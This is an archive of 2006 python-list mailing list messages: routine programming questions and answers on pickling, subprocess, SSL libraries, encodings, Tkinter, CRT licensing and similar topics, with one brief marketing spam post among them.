In-Reply-To: <1160796064.637081.75250@e3g2000cwe.googlegroups.com>
References: <1160795552.494568.263530@k70g2000cwa.googlegroups.com>
	<1160796064.637081.75250@e3g2000cwe.googlegroups.com>
Message-ID: <1160827701.286711.223940@i3g2000cwc.googlegroups.com>


Teja wrote:
> Teja wrote:
>
> > How to terminate execfile() in the middle of its execution. Any
> > pointers ???
> > Its very urgent please........
> >
> >
> > Thanks
> > Teja.P
>
> Can I raise an interrupt using PyErr_SetInterrupt??? Is so , does any
> one know how to do it?
I presume there is only one thread of execution here, so the file being
execfiled would have to recognise an error condition and raise an
un-caught exception.

- Paddy.



From gabrielg_laburando at yahoo.com.ar  Tue Oct 31 19:45:24 2006
From: gabrielg_laburando at yahoo.com.ar (Gabriel G)
Date: Tue, 31 Oct 2006 21:45:24 -0300
Subject: "best" rational number library for Python?
In-Reply-To: <17735.59203.790092.635942@montanaro.dyndns.org>
References: <mailman.1558.1162317188.11739.python-list@python.org>
	<1162332835.005490.38220@b28g2000cwb.googlegroups.com>
	<1162334329.429582.136710@e64g2000cwd.googlegroups.com>
	<17735.59203.790092.635942@montanaro.dyndns.org>
Message-ID: <7.0.1.0.0.20061031214112.03c8ea38@yahoo.com.ar>

At Tuesday 31/10/2006 21:16, skip at pobox.com wrote:

>     casevh> You must use "gmake". "make" fails during "make check"
>
>Very weird:
>
>     piggy:% make -v
>     GNU Make 3.80
>     piggy:% gmake -v
>     GNU Make 3.80
>
>Nevertheless, using "gmake" instead of "make" did indeed work.  Thanks for
>the hint.

Ouch! Like bash behaving different when invoked with the name "sh". 
Why do those programs try to be soooo smart?


-- 
Gabriel Genellina
Softlab SRL 

__________________________________________________
Correo Yahoo!
Espacio para todos tus mensajes, antivirus y antispam ?gratis! 
?Abr? tu cuenta ya! - http://correo.yahoo.com.ar


From fredrik at pythonware.com  Wed Oct 11 05:38:10 2006
From: fredrik at pythonware.com (Fredrik Lundh)
Date: Wed, 11 Oct 2006 11:38:10 +0200
Subject: Can pdb be set to break on warnings?
In-Reply-To: <1160558575.381070.200570@b28g2000cwb.googlegroups.com>
References: <1160558575.381070.200570@b28g2000cwb.googlegroups.com>
Message-ID: <egie22$q2s$1@sea.gmane.org>

LorcanM wrote:

  > I use pdb under Linux to debug my Python code, as in:
> 
> python -m pdb myprogram.py
> 
> By default it does a postmortem of unhandled exceptions, is there a way
> to get it to break on warnings?

is

     python -m pdb -Werror myprogram.py

what you're looking for ?

</F>



From steve at REMOVE.THIS.cybersource.com.au  Tue Oct 17 10:21:32 2006
From: steve at REMOVE.THIS.cybersource.com.au (Steven D'Aprano)
Date: Wed, 18 Oct 2006 00:21:32 +1000
Subject: Looking for assignement operator
References: <eh2n08$4ji$1@online.de>
Message-ID: <pan.2006.10.17.14.21.32.143302@REMOVE.THIS.cybersource.com.au>

On Tue, 17 Oct 2006 15:50:47 +0200, Alexander Eisenhuth wrote:

> Hello,
> 
> is there a assignement operator, that i can overwrite?

No.

We were just discussing the reasons why Python will not and can not have
an assignment operator just a few days ago. Check the archives for more
details.


> class MyInt:
> 	def __init__(self, val):
> 		assert(isinstance(val, int))

isinstance() considered harmful:

http://www.canonical.org/~kragen/isinstance/

> 		self._val = val

Seems kind of pointless. What does MyInt do that ordinary ints don't?
Apart from slow your program down and require extra programming effort.

> a = MyInt(10)
> 
> # Here i need to overwrite the assignement operator a = 12

Can't happen. "a" is just a name, not an object with methods that can be
called. "a" can be bound to anything, not just MyInt instances. Objects
like MyInt(10) can have no name, one name or many names:

mylist = [0, MyInt(10), 20, 30]  # MyInt instance has no name
x = MyInt(10)  # MyInt instance has one name
x = y = z = MyInt(10)  # MyInt instance has many names



-- 
Steven.



From grd6dinesh at gmail.com  Tue Oct 10 23:52:14 2006
From: grd6dinesh at gmail.com (dinesh)
Date: 10 Oct 2006 20:52:14 -0700
Subject: Get everything you need for a successful Marketing Campaign Today!
Message-ID: <1160538734.097127.179400@m73g2000cwd.googlegroups.com>

Get everything you need for a successful Marketing Campaign Today!

Marketing Software - Promotion Center - Guaranteed Visitors -
Guaranteed Signups

Solo Emails - 1 Million Opt In Leads - Banner ads - Website
Submission and Lots More

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From joncle at googlemail.com  Sat Oct 21 07:28:40 2006
From: joncle at googlemail.com (Jon Clements)
Date: 21 Oct 2006 04:28:40 -0700
Subject: curious paramstyle qmark behavior
In-Reply-To: <1161377996.049154.118650@b28g2000cwb.googlegroups.com>
References: <1161374817.671583.175910@i3g2000cwc.googlegroups.com>
	<1161375830.733818.99070@i42g2000cwa.googlegroups.com>
	<1161377996.049154.118650@b28g2000cwb.googlegroups.com>
Message-ID: <1161430119.994468.145810@h48g2000cwc.googlegroups.com>


BartlebyScrivener wrote:

> Thanks, Jon.
>
> I'm moving from Access to MySQL. I can query all I want using Python,
> but so far haven't found  a nifty set of forms (ala Access) for easying
> entering of data into MySQL. My Python is still amateur level and I'm
> not ready for Tkinkter or gui programming yet.

Not wanting to start a RDMS war, I'd personally choose PostgreSQL over
MySQL. (Quite interestingly, most Python programmers go for PostgreSQL
and most PHP programmers go for MySQL)... However, only you know what
you really want to do, so it's up to you to evaluate which RDMS to go
for!

In terms of data entry; if you're able to extend the idea of GUI a
little, why not use web forms? The django project, although I've only
played with it, was quite nice to set up and get running straight away:
if your load on the data-entry/browsing side isn't too heavy, you can
use the 'development server' instead of installing a full-blown server
such as Apache (I'm not sure if IIS is supported).

Users need not have any specific software (well, apart from a web
browser), you can change the back-end any time, have authentication,
the database and users can be remote to the actual "GUI" etc....

Just some thoughts you can do with as you wish.

Jon.



From jstroud at mbi.ucla.edu  Mon Oct 30 18:24:09 2006
From: jstroud at mbi.ucla.edu (James Stroud)
Date: Mon, 30 Oct 2006 23:24:09 GMT
Subject: enumerate improvement proposal
In-Reply-To: <4qn37kFmc3q0U1@uni-berlin.de>
References: <zj01h.17562$TV3.14454@newssvr21.news.prodigy.com>	<mailman.1435.1162124420.11739.python-list@python.org>	<Jb11h.17572$TV3.6879@newssvr21.news.prodigy.com>
	<mailman.1437.1162125524.11739.python-list@python.org>
	<TDb1h.17175$GR.940@newssvr29.news.prodigy.net>
	<4qn37kFmc3q0U1@uni-berlin.de>
Message-ID: <tQv1h.25456$7I1.21803@newssvr27.news.prodigy.net>

Diez B. Roggisch wrote:
>> Okay, I've googled "leaky abstractions" (as was probably your intended
>> affect with your silence), read the famous essay, and still
>> don't know what you mean and how it applies to what I have described.
>>
>> Do you plan to justify your statement or emptily accuse people of 
>> violating
>> esoteric principles?
> 
> 
> While I can't claim to know what the effbot thinks (the 
> skull-socks-wearing-python-coder-mindlink-technology is yet to be 
> developed), I think it's pretty clear what he is after here:
> 
> Computers compute offsets into data zero-based. Some languages like 
> pascal completely abstract that away from the user, but python doesn't.
> 
> So if your colleague/boss/whatever insists on indices being one-based, 
> this abstraction you introduced for her pretty fast leaks pretty badly. 
> Consider this simple example:
> 
> for offset, item in enumerate(some_list, start=1):
>     if item.is_the_chosen_one():
>         chosen_one_offset = offset
> 
> the_chosen_one = some_list[chosen_one_offset]
> 
> And bang, its Judas not Petrus who gets the pearly gates inc. stock 
> options.
> 
> Diez

Thank you for this explanation. Very illuminating. I think understand 
this idea well and the thought of 1 basing this function makes me cringe 
as much as the next guy (though I lacked the vocabulary to explain 
exactly why I cringe).

But you see, weaning this university faculty level economist (who 
already has her own way of doing everything...and to whom I happen to be 
married) from the traditional economics tools of gauss and sas towards 
the more sane and flexible tools of python, numarray, and rpy has been a 
multi-stage process. Tweaking the chosen abstractions to not be as leaky 
(thank you and thank Fredrik for introducing me to this vocabulary) is 
still one of the things I'm working towards. I want to solidify the 
conversion before I concentrate on nuance.

So, before too much criticism, I challenge even the most skilled python 
programmer to find his or her own faculty economist (or statistician or 
physicist) and get them to radically change their computational tools. 
When you've walked a mile in my shoes, leaky abstractions won't seem 
like such a big deal after all.

James

-- 
James Stroud
UCLA-DOE Institute for Genomics and Proteomics
Box 951570
Los Angeles, CA 90095

http://www.jamesstroud.com/


From tjreedy at udel.edu  Thu Oct 12 09:01:43 2006
From: tjreedy at udel.edu (Terry Reedy)
Date: Thu, 12 Oct 2006 09:01:43 -0400
Subject: operator overloading + - / * = etc...
References: <1160256250.688620.63770@h48g2000cwc.googlegroups.com><slrneig76h.6u2.sybrenUSE@schuimige.stuvel.eu><mailman.32.1160258060.11739.python-list@python.org><slrneig8v2.746.sybrenUSE@schuimige.stuvel.eu><mailman.34.1160260043.11739.python-list@python.org><pan.2006.10.08.01.08.09.501368@REMOVE.THIS.cybersource.com.au>	<452a6a61$0$22844$426a74cc@news.free.fr><mailman.144.1160432125.11739.python-list@python.org>
	<452e0244$0$8601$426a74cc@news.free.fr>
Message-ID: <eglebm$58n$1@sea.gmane.org>


"Bruno Desthuilliers" <onurb at xiludom.gro> wrote in message 
news:452e0244$0$8601$426a74cc at news.free.fr...
> Terry Reedy wrote:
>> "Bruno Desthuilliers" <onurb at xiludom.gro> wrote in message
>> news:452a6a61$0$22844$426a74cc at news.free.fr...
>>> The current namespace object, of course.
>>
>> Implementing a namespace as a Python object (ie, dict) is completely
>> optional and implementation dependent.  For CPython, the local namespace 
>> of
>> a function is generally *not* done that way.
>
> I know this, and that's not the point here. The op's question seemed to
> imply that the hypothetical __assign__ method should belong to the rhs
> object, which is obviously not the case - it must of course belongs to
> the lhs 'object'.

And my point is that in general there is no lhs object for the method to 
belong to.






From sachinpunjabi at gmail.com  Mon Oct 30 03:23:18 2006
From: sachinpunjabi at gmail.com (Sachin Punjabi)
Date: 30 Oct 2006 00:23:18 -0800
Subject: Lookuperror : unknown encoding : utf-8
In-Reply-To: <1162194168.044962.262720@b28g2000cwb.googlegroups.com>
References: <1162193424.290540.102910@h48g2000cwc.googlegroups.com>
	<1162194168.044962.262720@b28g2000cwb.googlegroups.com>
Message-ID: <1162196598.260229.224100@e3g2000cwe.googlegroups.com>



On Oct 30, 12:42 pm, "Leo Kislov" <Leo.Kis... at gmail.com> wrote:
> Sachin Punjabi wrote:
> > Hi,
>
> > I wanted to read a file encoded in utf-8 and and using the following
> > syntax in my source which throws me an error specifying Lookuperror :
> > unknown encoding : utf-8. Also I am working on Python version 2.4.1.
>
> > import codecs
> > fileObj = codecs.open( "data.txt", "r", "utf-8" )
>
> > Can anyone please guide me how do I get utf-8 activated in my codecs or
> > any setting needs to be done for the same before using codecs.What OS? Where did you get your python distribution? Anyway, I believe
> utf-8 codec was in the python.org distribution since the introduction
> of unicode (around python 2.0). If you can't use utf-8 codec right out
> of the box, something is really wrong with your setup.
>
>   -- Leo

The OS is Windows XP and also how do I incorporate python distribution.
Disutils folder exists in the python folder. Anything I need to do
there ?

Sachin.



From marco.lierfeld at rwth-aachen.de  Thu Oct 12 09:52:06 2006
From: marco.lierfeld at rwth-aachen.de (Marco Lierfeld)
Date: Thu, 12 Oct 2006 15:52:06 +0200
Subject: Pickling an instance of a class containing a dict doesn't work
Message-ID: <4p6vk6Fh2jevU1@news.dfncis.de>

Hello there,

I want to save an instance of a class containing a dictionary with the
pickle-module.

The class looks like this:
        class subproject:
                configuration   = {}
                build_steps     = []
                # some functions
                # ...

Now I create an instance of this class, e.g.
        test = subproject()
and try to save it with pickle.dump(test, file('test.pickle','wb')) or with
pickle.Pickler(file('test.pickle','wb')).save(test) it looks like
everything has worked well, but in the saved file 'test.pickle' only the
list 'build_steps' is saved - the dictionary 'configuration' is missing.
There is wether an error-message nor an exception.

When I try to save only the dictionary, there is no problem at all - the
dict is saved to the file.

I also tried the 3 different protocols (0, 1, 2), but none of them worked
for me.

I hope somebody knows what to do ;)

Thanks for reading

Marco


From steve at holdenweb.com  Mon Oct 23 15:21:36 2006
From: steve at holdenweb.com (Steve Holden)
Date: Mon, 23 Oct 2006 20:21:36 +0100
Subject: python2.5 importerror on md5
In-Reply-To: <1161630406.102958.22270@i3g2000cwc.googlegroups.com>
References: <1161630406.102958.22270@i3g2000cwc.googlegroups.com>
Message-ID: <ehj4lv$61e$1@sea.gmane.org>

samn wrote:
> i compiled and installed the release version of python 2.5 for linux to
> a directory accessible to 2 computers, configured with
> --prefix=/usr/arch (which is accessible to both machines). the
> installation went fine and when i run python on one machine i can do
> from hashlib import * without a problem. on the other machine i get the
> following error:
> Traceback (most recent call last):
>   File "<stdin>", line 1, in <module>
>   File "/usr/arch/lib/python2.5/hashlib.py", line 104, in <module>
>     md5 = __get_builtin_constructor('md5')
>   File "/usr/arch/lib/python2.5/hashlib.py", line 31, in
> __get_builtin_constructor
>     import _md5
> ImportError: No module named _md5
> 
> I have the file md5.py , md5.pyo , and md5.pyc in
> /usr/arch/lib/python2.5/ so I don't know why python is having a problem
> finding the md5 module...
> 
> The sys.path is equal on both machines :
> ['', '/usr/arch/lib/python25.zip', '/usr/arch/lib/python2.5',
> '/usr/arch/lib/python2.5/plat-linux2',
> '/usr/arch/lib/python2.5/lib-tk',
> '/usr/arch/lib/python2.5/lib-dynload',
> '/usr/arch/lib/python2.5/site-packages',
> '/usr/arch/lib/python2.5/site-packages/gtk-2.0']
> 
> Here is the version info :
> Python 2.5 (r25:51908, Oct 23 2006, 13:38:11)
> [GCC 3.2.3 20030502 (Red Hat Linux 3.2.3-56)] on linux2
> 
> If anyone has encountered similar problems or knows of a way to
> fix/suggestions please let me know.
> 
I believe the _md5 module (as opposed to the md5 module) is a compiled 
extension. I'm guessing the import succeeds on the machine you used to 
build python.

Try

   import _md5
   print _md5.__file__

and see if you can find out where it's being loaded from. You'll 
probably find that you also need to tailor the sysprefix parameter, or 
some such.

regards
  Steve

-- 
Steve Holden       +44 150 684 7255  +1 800 494 3119
Holden Web LLC/Ltd          http://www.holdenweb.com
Skype: holdenweb       http://holdenweb.blogspot.com
Recent Ramblings     http://del.icio.us/steve.holden



From mail at microcorp.co.za  Thu Oct 26 01:37:02 2006
From: mail at microcorp.co.za (Hendrik van Rooyen)
Date: Thu, 26 Oct 2006 07:37:02 +0200
Subject: question about True values
References: <grO%g.152$1n3.4134@news.tufts.edu> <ehodc7$k4s$1@sea.gmane.org>
Message-ID: <028501c6f8c9$5803d940$03000080@hendrik>

"Robert Kern" <robert.kern at gmail.com>  wrote:
8<--------------------------------------

> It's a bit of an abuse on the English language, but what isn't in software?

jumps used not to be

- Hendrik



From sparkytwobillion at gmail.com  Wed Oct 18 17:17:57 2006
From: sparkytwobillion at gmail.com (runningwild)
Date: 18 Oct 2006 14:17:57 -0700
Subject: httplib and HTTPS Connections
In-Reply-To: <15KdnZaRD_3jKajYnZ2dnUVZ_vSdnZ2d@comcast.com>
References: <1161052193.081315.140370@h48g2000cwc.googlegroups.com>
	<15KdnZaRD_3jKajYnZ2dnUVZ_vSdnZ2d@comcast.com>
Message-ID: <1161206277.433641.95440@i42g2000cwa.googlegroups.com>


Heikki Toivonen wrote:
> runningwild wrote:
> > This is the first time I have cared about httplib's HTTPSConnection.
>
> Please note that the Python builtin SSL support is not really secure. It
> does not make sure that you connect to the site you think you are
> connecting to, for example.
>
> If you really need secure SSL (what is the point of SSL if not secure I
> ask) you should look at other Python modules. There are several to
> choose from, for example M2Crypto (I am the maintainer of that), TLS
> Lite, PyOpenSSL, PyOpenSSL-extended, and possibly others that I am
> forgetting right now.
>
> --
>   Heikki Toivonen

Thanks Heikki,

I downloaded the varioius packages and read through the source code and
docs that came with them.

I am trying to get M2Crypto to work on my workstation. (WinXP/Cygwin,
Python 2.4.4 under cygwin)

Everything seemed to compile and install correctly.

When I try to run https_cli.py however I get the following exception:

LOOP: SSL connect: before/connect initialization
INFO: SSL connect: SSLv2 write client hello A
Traceback (most recent call last):
  File "https_cli.py", line 41, in ?
    test_httpslib()
  File "https_cli.py", line 21, in test_httpslib
    h.endheaders()
  File "/usr/local/lib/python2.4/httplib.py", line 798, in endheaders
    self._send_output()
  File "/usr/local/lib/python2.4/httplib.py", line 679, in _send_output
    self.send(msg)
  File "/usr/local/lib/python2.4/httplib.py", line 646, in send
    self.connect()
  File "/usr/local/lib/python2.4/site-packages/M2Crypto/httpslib.py",
line 43, in connect
    self.sock.connect((self.host, self.port))
  File
"/usr/local/lib/python2.4/site-packages/M2Crypto/SSL/Connection.py",
line 154, in connect
    ret = self.connect_ssl()
  File
"/usr/local/lib/python2.4/site-packages/M2Crypto/SSL/Connection.py",
line 147, in connect_ssl
    return m2.ssl_connect(self.ssl)
M2Crypto.SSL.SSLError: no ciphers available

The no ciphers available seems to be comming from the ssl installation
so I decided to test it with a different client.

%links https://localhost:9443/

This worked just fine showing me the directory listing and allowing me
to navigate.
This was also true for firefox when connecting to
https://localhost:9443/ from the server in
demos/httts.howto/orig_https_srv.py

Any idea what is going on here?



From oshecho at gmail.com  Mon Oct  9 15:14:06 2006
From: oshecho at gmail.com (Echo)
Date: Mon, 9 Oct 2006 15:14:06 -0400
Subject: Python component model
In-Reply-To: <W5wWg.7118$Y24.2917@newsread4.news.pas.earthlink.net>
References: <W5wWg.7118$Y24.2917@newsread4.news.pas.earthlink.net>
Message-ID: <910885da0610091214o1471f011w5bcf4def16261889@mail.gmail.com>

On 10/9/06, Edward Diener No Spam <eldiener_no_spam_here at earthlink.net> wrote:
> The definition of a component model I use below is a class which allows
> properties, methods, and events in a structured way which can be
> recognized, usually through some form of introspection outside of that
> class. This structured way allows visual tools to host components, and
> allows programmers to build applications and libraries visually in a RAD
> environment.
>
> The Java language has JavaBeans as its component model which allows Java
> applications to be built in a visual RAD way. Microsoft's .Net has a
> component model built-in to its .Net class libraries as well as
> supported by CLR which allows .Net applications to be built visually
> using components created in any .Net supported language.
>
> With Python things are different. There is no single component model
> which allows Python developers to build components which will be used
> and recognized by the various RAD Python tools on the market. Instead a
> developer must create a slightly different set of Python classes for
> each RAD Python tool. This is the situation despite Python's having
> easily as much functionality, if not much more, as Java or .Net
> languages such as C#, VB, or C++/CLI for creating components, and for
> allowing visual tools to introspect the properties, methods, and events
> of Python classes.
>
> I believe that Python should have a common components model for all RAD
> development environments, as that would allow the Python programmer to
> create a set of classes representing components which would work in any
> environment. I want to immediately point out that components do not
> simply mean visual GUI components but what may be even more important,
> non-visual components. Having used RAD development environments to
> create applications, I have found such environments almost always much
> better than coding complex interactions manually, and I believe that
> visual development environments are almost a necessity in today's world
> of large-scale, multi-tier, and enterprise applications.
>
> Has there ever been, or is there presently anybody, in the Python
> developer community who sees the same need and is working toward that
> goal of a common component model in Python, blessed and encouraged by
> those who maintain the Python language and standard modules themselves ?
> --
> http://mail.python.org/mailman/listinfo/python-list
>


If you are talking about about creating a GUI and having be able to
run using different GUI libraries like Tkinter, wxPython, wxgtk, ect.
You could look into Dabo(http://dabodev.com/). It is designed so that
you can design your GUI and have it run with what ever GUI library you
want(only wxPython is supported at the moment. And I think that
Tkinter works somewhat.)

-- 
"Now that I am a Christian I do not have moods in which the whole
thing looks very improbable: but when I was an atheist I had moods in
which Christianity looked terribly probable."
  -C. S. Lewis

-Echo


From aleax at mac.com  Sun Oct  1 00:40:01 2006
From: aleax at mac.com (Alex Martelli)
Date: Sat, 30 Sep 2006 21:40:01 -0700
Subject: does anybody earn a living programming in python?
References: <1159225798.492198.89880@b28g2000cwb.googlegroups.com>
	<1159367701.124853.131510@b28g2000cwb.googlegroups.com>
Message-ID: <1hmhysg.143jtz4136s3asN%aleax@mac.com>

Blair P. Houghton <blair.houghton at gmail.com> wrote:

> I happen to know that Google does most of its admin scripting in
> Python.  It can't be a small job, running a few hundred thousand
> servers worldwide and keeping them all up to date for system and
> security.

It's not a small job (as uber-tech-lead for Production Systems, I should
know;-), and "admin scripting" doesn't even _begin_ to exhaust the array
of tasks for which Google uses Python;-).


Alex


From attn.steven.kuo at gmail.com  Thu Oct 26 23:06:19 2006
From: attn.steven.kuo at gmail.com (attn.steven.kuo at gmail.com)
Date: 26 Oct 2006 20:06:19 -0700
Subject: subprocess cwd keyword.
References: <mailman.1299.1161902084.11739.python-list@python.org>
Message-ID: <1161918379.134281.100230@b28g2000cwb.googlegroups.com>

Ivan Vinogradov wrote:
> Dear All,
>
> I would greatly appreciate a nudge in the right direction concerning
> the use of cwd argument in the call function from subprocess module.
>
> The setup is as follows:
>
> driver.py		<- python script
> core/  			<- directory
> 	main		<- fortran executable in the core directory
>
>
> driver script generates some input files in the core directory. Main
> should do its thing and dump the output files back into core.
> The problem is, I can't figure out how to do this properly.
>
> call("core/main") works but uses .. of core for input/output.
>
> call("core/main",cwd="core") and call("main",cwd="core") both result in
>    File "driver.py", line 47, in <module>
>      main()
>    File "driver.py", line 40, in main
>      print "OUT", call("core/main", cwd="core")
>    File "/Library/Frameworks/Python.framework/Versions/2.5/lib/
> python2.5/subprocess.py", line 443, in call
>      return Popen(*popenargs, **kwargs).wait()
>    File "/Library/Frameworks/Python.framework/Versions/2.5/lib/
> python2.5/subprocess.py", line 593, in __init__
>      errread, errwrite)
>    File "/Library/Frameworks/Python.framework/Versions/2.5/lib/
> python2.5/subprocess.py", line 1051, in _execute_child
>      raise child_exception
> OSError: [Errno 2] No such file or directory
>
> perhaps if subprocess would indicate the abs path of the object in
> question I could figure it out, but as is I'm lost.


Perhaps you're looking for os.path.abspath?

import subprocess
import os

subdir = os.path.join(*[ os.path.dirname(os.path.abspath(__file__)),
"core" ])
print subdir

try:
    retcode = subprocess.call(["./main"], cwd=subdir)
except:
    raise
 
print retcode

-- 
Hope this helps,
Steven



From sanxiyn at gmail.com  Sun Oct 22 01:50:48 2006
From: sanxiyn at gmail.com (sanxiyn at gmail.com)
Date: 21 Oct 2006 22:50:48 -0700
Subject: Tkinter--does anyone use it for sophisticated GUI development?
In-Reply-To: <7cd5f$4537d1ef$4275d90a$20512@FUSE.NET>
References: <7cd5f$4537d1ef$4275d90a$20512@FUSE.NET>
Message-ID: <1161496248.406807.84540@h48g2000cwc.googlegroups.com>

> Does anyone use it for sophisticated GUI development?

I have seen a very sophisticated admin tool written in Tkinter, coming
from SAP. So apparently SAP does.

Seo Sanghyeon



From steve at holdenweb.com  Wed Oct  4 00:16:01 2006
From: steve at holdenweb.com (Steve Holden)
Date: Wed, 04 Oct 2006 05:16:01 +0100
Subject: A Universe Set
In-Reply-To: <1159933937.606857.173770@k70g2000cwa.googlegroups.com>
References: <1159933937.606857.173770@k70g2000cwa.googlegroups.com>
Message-ID: <efvcgf$o29$1@sea.gmane.org>

jordan.nick at gmail.com wrote:
> Has the addition of a Universe Set object ever been suggested.  Like U
> = set(0), so that any object was a member of U?  Maybe this gets into
> some crazy Cantorian stuff since U is in U.  But it seems like it would
> be useful and would have a nice symmetry with emptyset:set([]), that
> is:
> 
> for any object a:
> "a in set([])" returns False
> "a in set(0)" returns True
> 

  >>> class universe(object):
  ...   def __contains__(self, thing):
  ...     return True
  ...
  >>> U = universe()
  >>> 1 in U
True
  >>> None in U
True
  >>> U in U
True
  >>>

Of course the last eexample shows that your implementation may need to 
change depending on how you view Russell's paradox ...

regards
  Steve
-- 
Steve Holden       +44 150 684 7255  +1 800 494 3119
Holden Web LLC/Ltd          http://www.holdenweb.com
Skype: holdenweb       http://holdenweb.blogspot.com
Recent Ramblings     http://del.icio.us/steve.holden



From donald.welch at hp.com  Fri Oct 13 14:17:30 2006
From: donald.welch at hp.com (dwelch91)
Date: Fri, 13 Oct 2006 11:17:30 -0700
Subject: is there an easy way to create a database on the fly and let
	the user input values
In-Reply-To: <1160628277.112881.211410@h48g2000cwc.googlegroups.com>
References: <1160628277.112881.211410@h48g2000cwc.googlegroups.com>
Message-ID: <452fd670$1@usenet01.boi.hp.com>

Eric_Dexter at msn.com wrote:
>      I don't realy care what database I use wx.grid or whatever.  I
> wan't it to look at a line
> 
> 128 9023 23428 exc and create the database or pick something out of the
> file as  some sort of a descrition line and then display and allow the
> user to change and add new lines.  What is the easiest set of database
> routines to use for such a project???
> 
> http://www.dexrow.com
> 
kirbybase?


http://www.netpromi.com/kirbybase_python.html


From sturlamolden at yahoo.no  Wed Oct 25 11:28:13 2006
From: sturlamolden at yahoo.no (sturlamolden)
Date: 25 Oct 2006 08:28:13 -0700
Subject: Python's CRT licensing on Windows
Message-ID: <1161790093.505846.315040@b28g2000cwb.googlegroups.com>


On Windows, the standard Python 2.4 distro is compiled with Microsoft
Visual C++ 2003 and is shipped with msvcr71.dll as a part of the binary
installer. That is ok, as those who has a license for Microsoft Visual
C++ 2003 is allowed to redistribute msvcr71.dll. Without a license for
Microsoft Visual C++ 2003 one it not allowed to redistribute this DLL.

This has some interesting implications:

** If you don't have Microsoft Visual C++ 2003, is it illegal to
redistribute the binary Python installer from www.python.org? Does
redistribution of Python also violate Microsoft's copyright on the CRT?
And if so, is someone developing in Python required to ask the customer
to download a binary installer from www.python.org (instead of shipping
a copy)?

** Not everyone that develops in Python has a license for Microsoft
Visual C++ 2003. I have the Microsoft Visual C++ 2003 Toolkit, but it
only allows me to link and redistribute a static version of msvcr71.
So, does this prevent me from using Py2Exe?

** It is apparently not possible to buy a license for VS2003 anymore,
as the product has expired. One can only buy a new get a license for
VS2005, which allows redistribution of msvcr81.dll, but not
msvcr71.dll. Microsoft said something about a right to "downgrade the
compiler" once a license for VS2005 is bought, but I am not sure if
this applies to the crt redistribution rights as well.

I understand that Microsoft has donated Microsoft Visual C++ 2003
compilers to key Python developers. That is generous of them. But what
did they say about the crt licensing?



From http  Tue Oct 24 00:48:22 2006
From: http (Paul Rubin)
Date: 23 Oct 2006 21:48:22 -0700
Subject: Sorting by item_in_another_list
References: <ehk3p8$j3q$1@enyo.uwa.edu.au>
Message-ID: <7x1woypbe1.fsf@ruckus.brouhaha.com>

Cameron Walsh <cameron.walsh at gmail.com> writes:
> for example:
> 
> A = [0,1,2,3,4,5,6,7,8,9,10]
> B = [2,3,7,8]
> 
> desired_result = [2,3,7,8,0,1,4,5,6,9,10]

How about:

  desired_result = B + sorted(x for x in A if x not in B)


From gagsl-py at yahoo.com.ar  Fri Oct 20 19:08:31 2006
From: gagsl-py at yahoo.com.ar (Gabriel Genellina)
Date: Fri, 20 Oct 2006 20:08:31 -0300
Subject: Inheriting property functions
In-Reply-To: <1161384540.703733.59910@m7g2000cwm.googlegroups.com>
References: <1161383286.543397.46700@m73g2000cwd.googlegroups.com>
	<1161384540.703733.59910@m7g2000cwm.googlegroups.com>
Message-ID: <7.0.1.0.0.20061020200446.05ba09f0@yahoo.com.ar>

At Friday 20/10/2006 19:49, Dustan wrote:

> > >>> class A(object):
> >       def get_a(self): return self.__a
> >       def set_a(self, new_a): self.__a = new_a
> >       a = property(get_a, set_a)
> >
> >
> > >>> class B(A):
> >       b = property(get_a, set_a)

Use instead:

         b = property(A.get_a, A.set_a)


-- 
Gabriel Genellina
Softlab SRL 

__________________________________________________
Correo Yahoo!
Espacio para todos tus mensajes, antivirus y antispam ?gratis! 
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From deets at nospam.web.de  Fri Oct 13 07:38:46 2006
From: deets at nospam.web.de (Diez B. Roggisch)
Date: Fri, 13 Oct 2006 13:38:46 +0200
Subject: SOAPpy and callback
In-Reply-To: <1160735892.207093.64960@k70g2000cwa.googlegroups.com>
References: <1160690157.961643.248720@m73g2000cwd.googlegroups.com>
	<4p94a0Fhr1amU1@uni-berlin.de>
	<1160735892.207093.64960@k70g2000cwa.googlegroups.com>
Message-ID: <4p9c65Fhjfd6U1@uni-berlin.de>

fabien.benard at gmail.com schrieb:
> SOAP standard doesn't provide any callback, and it looks like SOAPpy
> doesn't too.
> I remember using callbacks with Javascript and SOAP in Web pages. I was
> just wondering if there could be the same with Python.

How that? I seriously doubt that, it would mean that the server would be 
able to issue an request on its own to the browser - a technical 
impossibility in current browser implementations.

Just because you used a callback inside a js-soap-implementation that 
works with deferreds or something similar doesn't mean that the soap 
itself knew callbacks.

Diez


From steve at holdenweb.com  Mon Oct  2 11:44:49 2006
From: steve at holdenweb.com (Steve Holden)
Date: Mon, 02 Oct 2006 16:44:49 +0100
Subject: *** Spam *** Re: commands.getstatusoutput result is not command
	line exit value!!!
In-Reply-To: <45213245.3000808@googlemail.com>
References: <452125F8.8070106@googlemail.com> <efrat3$db4$1@sea.gmane.org>
	<45213245.3000808@googlemail.com>
Message-ID: <452133F1.5050401@holdenweb.com>

A famous Holden typo - it should have been "12 * 256 == 3072", but 
really it shouldn't have been beyond you to perform a division of 3072 
by 12 (given that you already knew the number 12 was potentially involved).

Basically the value you want is shifted up 8 bits. Perhaps I should more 
understandably have said:

   12 << 8 == 3072

regards
  Steve

Hari Sekhon wrote:
> I don't quite understand what you are saying here:
> 
> 2 * 256 is 512,
> 2 ** 256 is some extremely large number.
> 
> 2**12 is 4096.
> 
> So how does 3072 factor into this?
> 
> Could you explain what you mean by "the error in the top half of a 
> sixteen-bit value"?
> 
> This makes no sense to me at this moment.
> 
> -h
> 
> Hari Sekhon
> 
> 
> 
> Steve Holden wrote:
> 
>>Hari Sekhon wrote:
>>  
>>
>>>I'm running a command like
>>>
>>>import commands
>>>result = commands.getstatusoutput('somecommand')
>>>print result[0]
>>>3072
>>>
>>>
>>>However, this exit code made no sense so I ran it manually from the 
>>>command line in bash on my linux server and it gives the exit code as 
>>>12, not this weird 3072 number.
>>>
>>>So I tried os.system('somecommand') in the interactive python shell and 
>>>it too returned the same result for the exit code as the unix shell, 12, 
>>>but re-running the commands.getstatusoutput() with the exact same 
>>>command still gave 3072.
>>>
>>>
>>>Is commands.getstatusoutput() broken or something?
>>>
>>>
>>>-h
>>>
>>>    
>>>
>>No, it's just returning the error code in the top half of a sixteen-bit 
>>value. You will notice that 3072 == 2 * 256.
>>
>>That's always been the way the Unix return code has been returned 
>>programattically, but the shell shifts it down to make it more usab;e.
>>
>>regards
>>  Steve
>>  
>>


-- 
Steve Holden       +44 150 684 7255  +1 800 494 3119
Holden Web LLC/Ltd          http://www.holdenweb.com
Skype: holdenweb       http://holdenweb.blogspot.com
Recent Ramblings     http://del.icio.us/steve.holden


